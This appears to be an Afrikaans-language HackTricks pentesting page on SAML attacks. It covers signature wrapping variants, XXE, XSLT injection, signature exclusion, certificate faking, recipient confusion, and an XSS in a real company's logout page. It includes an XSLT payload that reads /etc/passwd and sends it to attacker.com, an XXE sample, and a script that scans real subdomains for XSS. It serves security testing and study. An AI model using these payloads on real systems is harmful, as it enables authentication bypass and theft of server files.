Afrikaans - Ht
HackTricks Training Twitter Linkedin Sponsor

SAML Attacks

SAML Aanvalle

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

pageSAML Basics

Gereedskap

SAMLExtractor: 'n Gereedskap wat 'n URL of lys van URL kan neem en SAML-verbruik URL terugstuur.

XML ronde-reis

In XML word die ondertekende deel van die XML in die geheue gestoor, dan word 'n paar enkodering/ontkodering uitgevoer en die handtekening word nagegaan. Ideaal gesproke behoort daardie enkodering/ontkodering nie die data te verander nie, maar gebaseer op daardie scenario, die data wat nagegaan word en die oorspronklike data mag nie dieselfde wees nie.

Byvoorbeeld, kyk na die volgende kode:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Die uitvoering van die program teen REXML 3.2.4 of vroeër sal in plaas daarvan die volgende uitset veroorsaak:

First child in original doc: Y
First child after round-trip: Z

Dit is hoe REXML die oorspronklike XML-dokument van die program hierbo gesien het:

En dit is hoe dit dit gesien het na 'n ronde van ontleding en serialisering:

Vir meer inligting oor die kwesbaarheid en hoe om dit te misbruik:

XML-handtekening-omwikkelingsaanvalle

In XML-handtekening-omwikkelingsaanvalle (XSW) benut teenstanders 'n kwesbaarheid wat ontstaan wanneer XML-dokumente deur twee afsonderlike fases verwerk word: handtekeningvalidering en funksie-aanroeping. Hierdie aanvalle behels die verandering van die XML-dokumentstruktuur. Spesifiek spuit die aanvaller vervalsde elemente in wat nie die geldigheid van die XML-handtekening in gevaar bring nie. Hierdie manipulasie is daarop gemik om 'n teenstrydigheid te skep tussen die elemente wat deur die toepassingslogika geanaliseer word en dié wat deur die handtekeningverifikasiemodule nagegaan word. Gevolglik, terwyl die XML-handtekening tegnies geldig bly en verifikasie slaag, verwerk die toepassingslogika die bedrieglike elemente. Gevolglik omseil die aanvaller doeltreffend die XML-handtekening se integriteitsbeskerming en oorsprongverifikasie, wat die inspuiting van willekeurige inhoud sonder opsporing moontlik maak.

Die volgende aanvalle is gebaseer op hierdie blogpos en hierdie artikel. Kyk dus daarna vir verdere besonderhede.

XSW #1

  • Strategie: 'n Nuwe hoofelement wat die handtekening bevat, word bygevoeg.

  • Impak: Die validator kan verwar word tussen die wettige "Response -> Assertion -> Subject" en die aanvaller se "bose nuwe Response -> Assertion -> Subject", wat tot data-integriteitsprobleme kan lei.

XSW #2

  • Verskil van XSW #1: Gebruik 'n loshandtekening in plaas van 'n omwikkelende handtekening.

  • Impak: Die "bose" struktuur, soortgelyk aan XSW #1, is daarop gemik om die besigheidslogika na integriteitskontrole te mislei.

XSW #3

  • Strategie: 'n Bose Assertion word op dieselfde hiërargiese vlak as die oorspronklike assertion geskep.

  • Impak: Dit is bedoel om die besigheidslogika te verwar deur die gebruik van die skadelike data.

XSW #4

  • Verskil van XSW #3: Die oorspronklike Assertion word 'n kind van die gedupliseerde (bose) Assertion.

  • Impak: Soortgelyk aan XSW #3, maar verander die XML-struktuur meer aggressief.

XSW #5

  • Unieke Aspek: Noch die Handtekening nie die oorspronklike Assertion voldoen aan standaardkonfigurasies (omwikkelend/omhullend/los).

  • Impak: Die gekopieerde Assertion omhul die Handtekening, wat die verwagte dokumentstruktuur verander.

XSW #6

  • Strategie: Soortgelyke plasing van invoeging as XSW #4 en #5, maar met 'n draai.

  • Impak: Die gekopieerde Assertion omhul die Handtekening, wat dan die oorspronklike Assertion omhul, wat 'n geneste bedrieglike struktuur skep.

XSW #7

  • Strategie: 'n Uitbreidings-element word ingevoeg met die gekopieerde Assertion as 'n kind.

  • Impak: Dit benut die minder beperkende skema van die Uitbreidings-element om skemaverifikasie teenmaatreëls te omseil, veral in biblioteke soos OpenSAML.

XSW #8

  • Verskil van XSW #7: Gebruik 'n ander minder beperkende XML-element vir 'n variasie van die aanval.

  • Impak: Die oorspronklike Assertion word 'n kind van die minder beperkende element, wat die struktuur wat in XSW #7 gebruik word, omkeer.

Gereedskap

Jy kan die Burp-uitbreiding SAML Raider gebruik om die versoek te ontled, enige XSW-aanval wat jy kies toe te pas, en dit te lanceer.

XXE

As jy nie weet watter soort aanvalle XXE is nie, lees asseblief die volgende bladsy:

pageXXE - XEE - XML External Entity

SAML-reaksies is geïnflateer en basis64-gekodeerde XML-dokumente en kan vatbaar wees vir XML Eksterne Entiteit (XXE)-aanvalle. Deur die XML-struktuur van die SAML-reaksie te manipuleer, kan aanvallers probeer om XXE-kwesbaarhede uit te buit. Hier is hoe so 'n aanval gevisualiseer kan word:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Gereedskap

Jy kan ook die Burp-uitbreiding SAML Raider gebruik om die POC te genereer vanaf 'n SAML-versoek om te toets vir moontlike XXE-kwesbaarhede en SAML-kwesbaarhede.

Kyk ook na hierdie aanbieding: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Vir meer inligting oor XSLT gaan na:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) kan gebruik word om XML-dokumente in verskeie formate soos HTML, JSON, of PDF te transformeer. Dit is noodsaaklik om op te let dat XSLT-transformasies uitgevoer word voordat die digitale handtekening geverifieer word. Dit beteken dat 'n aanval suksesvol kan wees selfs sonder 'n geldige handtekening; 'n self-ondertekende of ongeldige handtekening is voldoende om voort te gaan.

Hier kan jy 'n POC vind om vir hierdie soort kwesbaarhede te toets, op die hacktricks-bladsy wat aan die begin van hierdie afdeling genoem word, kan jy payloads vind.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Gereedskap

Jy kan ook die Burp-uitbreiding SAML Raider gebruik om die POC van 'n SAML-versoek te genereer om moontlike XSLT-kwesbaarhede te toets.

Kyk ook na hierdie aanbieding: https://www.youtube.com/watch?v=WHn-6xHL7mI

Uitsluiting van XML-handtekening

Die Uitsluiting van XML-handtekening neem die gedrag van SAML-implementasies waar wanneer die Handtekening-element nie teenwoordig is nie. As hierdie element ontbreek, kan handtekeningvalidering nie plaasvind nie, wat dit kwesbaar maak. Dit is moontlik om dit te toets deur die inhoud te verander wat gewoonlik deur die handtekening geverifieer word.

Gereedskap

Jy kan ook die Burp-uitbreiding SAML Raider gebruik. Onderskep die SAML-antwoord en klik op Verwyder Handtekeninge. Deur dit te doen, word alle Handtekening-elemente verwyder.

Met die handtekeninge verwyder, laat die versoek voortgaan na die teiken. As die Handtekening nie vereis word deur die Diens nie

Sertifikaatvervalsing

Sertifikaatvervalsing

Sertifikaatvervalsing is 'n tegniek om te toets of 'n Diensverskaffer (SP) behoorlik verifieer dat 'n SAML-boodskap deur 'n vertroude Identiteitsverskaffer (IdP) onderteken is. Dit behels die gebruik van 'n *selfondertekende sertifikaat om die SAML-antwoord of -bewering te onderteken, wat help om die vertrouensvalidasieproses tussen SP en IdP te evalueer.

Hoe om Sertifikaatvervalsing uit te voer

Die volgende stappe skets die proses met behulp van die SAML Raider Burp-uitbreiding:

  1. Onderskep die SAML-antwoord.

  2. As die antwoord 'n handtekening bevat, stuur die sertifikaat na SAML Raider-sertifikate met behulp van die Stuur Sertifikaat na SAML Raider-sertifikate-knoppie.

  3. In die SAML Raider-sertifikate-tabblad, kies die ingevoerde sertifikaat en klik op Stoor en Selfonderteken om 'n selfondertekende kloon van die oorspronklike sertifikaat te skep.

  4. Gaan terug na die onderskepte versoek in Burp se Proksi. Kies die nuwe selfondertekende sertifikaat uit die XML-handtekening-aftreklys.

  5. Verwyder enige bestaande handtekeninge met die Verwyder Handtekeninge-knoppie.

  6. Onderteken die boodskap of bewering met die nuwe sertifikaat deur die (Her-)Onderteken Boodskap of (Her-)Onderteken Bewering-knoppie, soos van toepassing.

  7. Stuur die ondertekende boodskap voort. Suksesvolle verifikasie dui daarop dat die SP boodskappe aanvaar wat deur jou selfondertekende sertifikaat onderteken is, wat potensiële kwesbaarhede in die validasieproses van die SAML-boodskappe blootlê.

Tokenontvangerverwarring / Diensverskaffer-Teikenverwarring

Tokenontvangerverwarring en Diensverskaffer-Teikenverwarring behels die toets of die Diensverskaffer die bedoelde ontvanger van 'n antwoord korrek valideer. In wese behoort 'n Diensverskaffer 'n outentiseringsantwoord te verwerp as dit vir 'n ander verskaffer bedoel was. Die kritieke element hier is die Ontvanger-veld, wat binne die SubjectConfirmationData-element van 'n SAML-antwoord gevind word. Hierdie veld spesifiseer 'n URL wat aandui waarheen die Bewering gestuur moet word. As die werklike ontvanger nie ooreenstem met die bedoelde Diensverskaffer nie, behoort die Bewering as ongeldig beskou te word.

Hoe dit werk

Vir 'n SAML-Tokenontvangerverwarrings (SAML-TRC) aanval om lewensvatbaar te wees, moet sekere toestande voldoen word. Eerstens moet daar 'n geldige rekening wees by 'n Diensverskaffer (verwys as SP-Legit). Tweedens moet die geteikende Diensverskaffer (SP-Teiken) tokens aanvaar van dieselfde Identiteitsverskaffer wat SP-Legit dien.

Die aanvalproses is eenvoudig onder hierdie toestande. 'n Outentieke sessie word geïnisieer met SP-Legit via die gedeelde Identiteitsverskaffer. Die SAML-antwoord van die Identiteitsverskaffer na SP-Legit word onderskep. Hierdie onderskepte SAML-antwoord, oorspronklik bedoel vir SP-Legit, word dan na SP-Teiken omgelei. Sukses in hierdie aanval word gemeet deur SP-Teiken wat die Bewering aanvaar, toegang tot hulpbronne onder dieselfde rekeningnaam wat vir SP-Legit gebruik is, te verleen.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout funksionaliteit

Die oorspronklike navorsing kan deur middel van hierdie skakel bereik word.

Tydens die proses van gidsbrute force, is 'n uitlogbladsy ontdek by:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Met die besoek aan hierdie skakel, het 'n herleiing plaasgevind na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Dit het aan die lig gebring dat die base parameter 'n URL aanvaar. Daar is oorweeg om die URL te vervang met javascript:alert(123); in 'n poging om 'n XSS (Cross-Site Scripting) aanval te begin.

Massa Uitbuiting

Van hierdie navorsing:

Die SAMLExtractor gereedskap is gebruik om subdomeine van uberinternal.com te ontleed vir domeine wat dieselfde biblioteek gebruik. Daarna is 'n skrip ontwikkel om die oidauth/prompt bladsy te teiken. Hierdie skrip toets vir XSS (Cross-Site Scripting) deur data in te voer en te kyk of dit in die uitvoer weerspieël word. In gevalle waar die inset wel weerspieël word, merk die skrip die bladsy as kwesbaar.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Verwysings

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

PreviousReset/Forgotten Password BypassNextSAML Basics

Last updated